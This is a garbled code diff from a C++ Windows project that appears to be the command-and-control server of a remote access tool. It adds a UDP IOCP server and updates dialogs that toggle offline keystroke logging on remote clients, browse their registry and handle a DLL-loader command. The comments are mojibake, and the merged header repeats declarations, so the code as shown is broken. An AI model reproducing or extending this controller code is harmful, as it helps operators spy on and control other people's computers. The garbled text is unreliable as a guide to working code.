COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
};
struct CONTEXT_OBJECT;
// Header parser: parse the data to make sure it's from a supported client.
class HeaderParser {
friend struct CONTEXT_OBJECT;
protected:
HeaderParser() {
memset(this, 0, sizeof(HeaderParser));
}
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf, int &compressMethod) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
}
char szPacketFlag[32] = { 0 };
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
HeaderEncType encTyp = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encTyp);
if (flagType == FLAG_UNKNOWN) {
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
int length = *((int*)ptr);
int excepted = buf.GetBufferLength();
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
m_nFlagType = FLAG_WINOS;
compressMethod = COMPRESS_NONE;
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nCompareLen = 0;
m_nFlagLen = 0;
m_nHeaderLen = 14;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new WinOsEncoder();
return PR{ PARSER_WINOS };
}
return PR{ PARSER_FAILED };
}
if (m_bParsed) { // Check if the header has been parsed.
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
}
// More version may be added in the future.
switch (m_nFlagType = flagType)
{
case FLAG_UNKNOWN:
return PR{ PARSER_FAILED };
case FLAG_SHINE:
memcpy(m_szPacketFlag, szPacketFlag, 5);
m_nCompareLen = 5;
m_nFlagLen = m_nCompareLen;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new Encoder();
break;
case FLAG_FUCK:
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 8;
m_nFlagLen = m_nCompareLen + 3;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new XOREncoder();
m_Encoder2 = new Encoder();
break;
case FLAG_HELLO:
// This header is only for handling SOCKET_DLLLOADER command
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 6;
m_nFlagLen = 8;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
compressMethod = COMPRESS_NONE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
case FLAG_HELL:
// This version
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = FLAG_COMPLEN;
m_nFlagLen = FLAG_LENGTH;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
default:
break;
}
return PR{ m_nFlagLen };
}
BOOL IsEncodeHeader() const {
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
}
HeaderParser& Reset() {
SAFE_DELETE(m_Encoder);
SAFE_DELETE(m_Encoder2);
memset(this, 0, sizeof(HeaderParser));
return *this;
}
BOOL IsParsed() const {
return m_bParsed;
}
int GetFlagLen() const {
return m_nFlagLen;
}
int GetHeaderLen() const {
return m_nHeaderLen;
}
const char* GetFlag() const {
return m_szPacketFlag;
}
FlagType GetFlagType() const {
return m_nFlagType;
}
Encoder* GetEncoder() const {
return m_Encoder;
}
Encoder* GetEncoder2() const {
return m_Encoder2;
}
private:
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
};
enum IOType
{
IOInitialize,
IORead,
IOWrite,
IOIdle
};
typedef struct CONTEXT_OBJECT
{
CString sClientInfo[ONLINELIST_MAX];
CString additonalInfo[RES_MAX];
SOCKET sClientSocket;
WSABUF wsaInBuf;
WSABUF wsaOutBuffer;
char szBuffer[PACKET_LENGTH];
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer OutCompressedBuffer;
HWND hWnd;
HANDLE hDlg;
void *olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login
std::string PeerName; // <20>Զ<EFBFBD>IP
VOID InitMember(SOCKET s)
{
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
hWnd = NULL;
hDlg = NULL;
sClientSocket = s;
PeerName = ::GetPeerName(sClientSocket);
memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
for (int i = 0; i < RES_MAX; i++) {
additonalInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD;
Parser.Reset();
bLogin = FALSE;
m_bProxyConnected = FALSE;
}
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
for (int i = 0; i < ONLINELIST_MAX; i++)
{
sClientInfo[i] = s[i];
}
for (int i = 0; i < a.size(); i++) {
additonalInfo[i] = a[i].c_str();
}
}
PBYTE GetBuffer(int offset) {
return InDeCompressedBuffer.GetBuffer(offset);
}
ULONG GetBufferLength() {
return InDeCompressedBuffer.GetBufferLength();
}
std::string GetPeerName() const {
return PeerName;
}
CString GetClientData(int index) const{
return sClientInfo[index];
}
void GetAdditionalData(CString(&s)[RES_MAX]) const {
for (int i = 0; i < RES_MAX; i++)
{
s[i] = additonalInfo[i];
}
}
void CancelIO() {
SAFE_CANCELIO(sClientSocket);
}
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
}
BYTE GetBYTE(int offset) {
return InDeCompressedBuffer.GetBYTE(offset);
}
// Write compressed buffer.
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
if (Parser.IsParsed()) {
ULONG totalLen = dataLen + Parser.GetHeaderLen();
BYTE szPacketFlag[32] = {};
const int flagLen = Parser.GetFlagLen();
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
if (Parser.IsEncodeHeader())
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
}else {
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
OutCompressedBuffer.WriteBuffer(data, dataLen);
}
}
// Read compressed buffer.
PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
if (Parser.IsParsed()) {
ULONG totalLen = 0;
BYTE szPacketFlag[32] = {};
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
} else {
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
}
dataLen = totalLen - Parser.GetHeaderLen();
PBYTE CompressedBuffer = new BYTE[dataLen];
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
Decode2(CompressedBuffer, dataLen, szPacketFlag);
return CompressedBuffer;
}
return nullptr;
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf) {
return Parser.Parse(buf, CompressMethod);
}
// Encode data before compress.
void Encode(PBYTE data, int len) const {
Parser.GetEncoder()->Encode((unsigned char*)data, len);
}
// Decode data after uncompress.
void Decode(PBYTE data, int len) const {
Parser.GetEncoder()->Decode((unsigned char*)data, len);
}
// Encode data after compress.
void Encode2(PBYTE data, int len, PBYTE param) const {
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
}
// Decode data before uncompress.
void Decode2(PBYTE data, int len, PBYTE param) const {
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
}
std::string RemoteAddr() const {
sockaddr_in ClientAddr = {};
int ulClientAddrLen = sizeof(sockaddr_in);
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
}
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
uint64_t GetID() const { return ID; }
void SetID(uint64_t id) { ID = id; }
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
class IOCPServer
{
public:
SOCKET m_sListenSocket;
HANDLE m_hCompletionPort;
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HANDLE m_hListenEvent;
HANDLE m_hListenThread;
BOOL m_bTimeToKill;
HANDLE m_hKillEvent;
ULONG m_ulThreadPoolMin;
ULONG m_ulThreadPoolMax;
ULONG m_ulCPULowThreadsHold;
ULONG m_ulCPUHighThreadsHold;
ULONG m_ulCurrentThread;
ULONG m_ulBusyThread;
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
#include "zlib/zlib.h"
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define C_FAILED(p) (0 == (p))
#define C_SUCCESS(p) (!C_FAILED(p))
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else // ZSTD
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#endif
#define C_FAILED(p) ZSTD_isError(p)
#define C_SUCCESS(p) (!C_FAILED(p))
#define ZSTD_CLEVEL 5
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
CCpuUsage m_cpu;
ULONG m_ulKeepLiveTime;
class IOCPServer : public Server
{
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
protected:
SOCKET m_sListenSocket;
HANDLE m_hCompletionPort;
UINT m_ulMaxConnections;
HANDLE m_hListenEvent;
HANDLE m_hListenThread;
BOOL m_bTimeToKill;
HANDLE m_hKillEvent;
ULONG m_ulThreadPoolMin;
ULONG m_ulThreadPoolMax;
ULONG m_ulCPULowThreadsHold;
ULONG m_ulCPUHighThreadsHold;
ULONG m_ulCurrentThread;
ULONG m_ulBusyThread;
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
ULONG m_ulKeepLiveTime;
pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc;
ULONG m_ulWorkThreadCount;
CRITICAL_SECTION m_cs;
ContextObjectList m_ContextConnectionList;
ContextObjectList m_ContextFreePoolList;
private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
ULONG m_ulWorkThreadCount;
VOID OnAccept();
CRITICAL_SECTION m_cs;
/************************************************************************/
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
ContextObjectList m_ContextConnectionList;
ContextObjectList m_ContextFreePoolList;
BOOL InitializeIOCP(VOID);
VOID OnAccept();
PCONTEXT_OBJECT AllocateContext(SOCKET s);
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
int AddWorkThread(int n) {
EnterCriticalSection(&m_cs);
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
int AddWorkThread(int n) {
EnterCriticalSection(&m_cs);
m_ulWorkThreadCount += n;
int ret = m_ulWorkThreadCount;
LeaveCriticalSection(&m_cs);
return ret;
}
/************************************************************************/
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
}
public:
IOCPServer(void);
~IOCPServer(void);
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
}
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
void UpdateMaxConnection(int maxConn);
IOCPServer(void);
~IOCPServer(void);
void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx){}
pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc;
};
typedef IOCPServer ISocketBase;
#define TRACK_OVERLAPPEDPLUS 0
class OVERLAPPEDPLUS
{
public:
OVERLAPPED m_ol;
IOType m_ioType;
OVERLAPPEDPLUS(IOType ioType)
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType;
}
~OVERLAPPEDPLUS()
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
}
};
typedef IOCPServer CIOCPServer;
typedef CONTEXT_OBJECT ClientContext;
@@ -494,12 +129,12 @@ typedef CONTEXT_OBJECT ClientContext;
class CDialogBase : public CDialog {
public:
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
Server* m_iocpServer;
CString m_IPAddress;
bool m_bIsClosed;
bool m_bIsProcessing;
HICON m_hIcon;
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
m_bIsClosed(false), m_bIsProcessing(false),
m_ContextObject(pContext),
m_iocpServer(pIOCPServer),

View File

@@ -0,0 +1,164 @@
#include "stdafx.h"
#include "IOCPUDPServer.h"
#include <thread>
#include <iostream>
IOCPUDPServer::IOCPUDPServer() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
}
IOCPUDPServer::~IOCPUDPServer() {
WSACleanup();
}
UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
if (m_running) return 1;
m_notify = NotifyProc;
m_offline = OffProc;
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socket == INVALID_SOCKET) return 2;
sockaddr_in addr{};
addr.sin_family = AF_INET;
addr.sin_port = htons(uPort);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
if (!m_hIOCP) return 4;
m_running = true;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
((IOCPUDPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// <20><EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
for (int i = 0; i < 4; ++i)
PostRecv();
return 0; // <20>ɹ<EFBFBD>
}
void IOCPUDPServer::PostRecv() {
if (!m_running) return;
AddCount(1);
CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
ctx->InitMember(m_socket);
IO_CONTEXT* ioCtx = new IO_CONTEXT();
ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
ioCtx->pContext = ctx;
ctx->wsaInBuf.buf = ctx->szBuffer;
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
ctx->addrLen = sizeof(sockaddr_in);
DWORD flags = 0;
int err = WSARecvFrom(
m_socket,
&ctx->wsaInBuf,
1,
NULL,
&flags,
(sockaddr*)&ctx->clientAddr,
&ctx->addrLen,
&ioCtx->ol,
NULL
);
if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] PostRecv error: %d\n", err);
delete ioCtx;
delete ctx;
AddCount(-1);
}
}
void IOCPUDPServer::WorkerThread() {
while (m_running) {
DWORD bytes = 0;
ULONG_PTR key = 0;
LPOVERLAPPED pOverlapped = nullptr;
BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
if (!ok) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] PostRecv error: %d\n", err);
if (pOverlapped) {
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
delete ioCtx->pContext;
delete ioCtx;
AddCount(-1);
}
continue;
}
if (!pOverlapped) continue;
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
CONTEXT_OBJECT* ctx = ioCtx->pContext;
if (m_notify)
m_notify(ctx);
// <20>ͷ<EFBFBD>
delete ioCtx;
delete ctx;
AddCount(-1);
PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>
}
}
VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
DWORD sent = 0;
int err = WSASendTo(
ContextObject->sClientSocket,
&buf,
1,
&sent,
0,
(sockaddr*)&ContextObject->clientAddr,
sizeof(sockaddr_in),
NULL,
NULL
);
if (err == SOCKET_ERROR) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] Send2Client error: %d\n", err);
}
}
VOID IOCPUDPServer::Destroy() {
if (m_socket != INVALID_SOCKET) {
CancelIoEx((HANDLE)m_socket, NULL); // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IO<49><4F><EFBFBD><EFBFBD>
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
while (GetCount())
Sleep(200);
m_running = false;
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // <20><><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>˳<EFBFBD>
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);
CloseHandle(m_hThread);
m_hThread = NULL;
}
if (m_hIOCP) {
CloseHandle(m_hIOCP);
m_hIOCP = NULL;
}
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include <winsock2.h>
#include <windows.h>
#include <mswsock.h>
#include "Server.h"
class IOCPUDPServer : public Server {
public:
IOCPUDPServer();
~IOCPUDPServer();
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
VOID Destroy() override;
private:
void WorkerThread();
void PostRecv();
void AddCount(int n=1){
m_locker.lock();
m_count += n;
m_locker.unlock();
}
int GetCount() {
m_locker.lock();
int n = m_count;
m_locker.unlock();
return n;
}
private:
int m_count = 0;
CLocker m_locker;
SOCKET m_socket = INVALID_SOCKET;
HANDLE m_hIOCP = NULL;
HANDLE m_hThread = NULL;
bool m_running = false;
pfnNotifyProc m_notify = nullptr;
pfnOfflineProc m_offline = nullptr;
struct IO_CONTEXT {
OVERLAPPED ol;
CONTEXT_OBJECT* pContext;
};
};

View File

@@ -19,7 +19,7 @@ static char THIS_FILE[] = __FILE__;
// CKeyBoardDlg dialog
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
if (pSysMenu != NULL) {
m_bIsOfflineRecord = !m_bIsOfflineRecord;
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
m_edit.SetWindowText("");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();

View File

@@ -18,7 +18,7 @@ class CKeyBoardDlg : public DialogBase
// Construction
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)

View File

@@ -26,7 +26,7 @@ enum KEYVALUE{
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
{
m_bIsClosed = FALSE;
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
bToken=COMMAND_REG_FIND;
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
m_isEnable = TRUE;

View File

@@ -10,7 +10,7 @@ class CRegisterDlg : public DialogBase
DECLARE_DYNAMIC(CRegisterDlg)
public:
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CRegisterDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

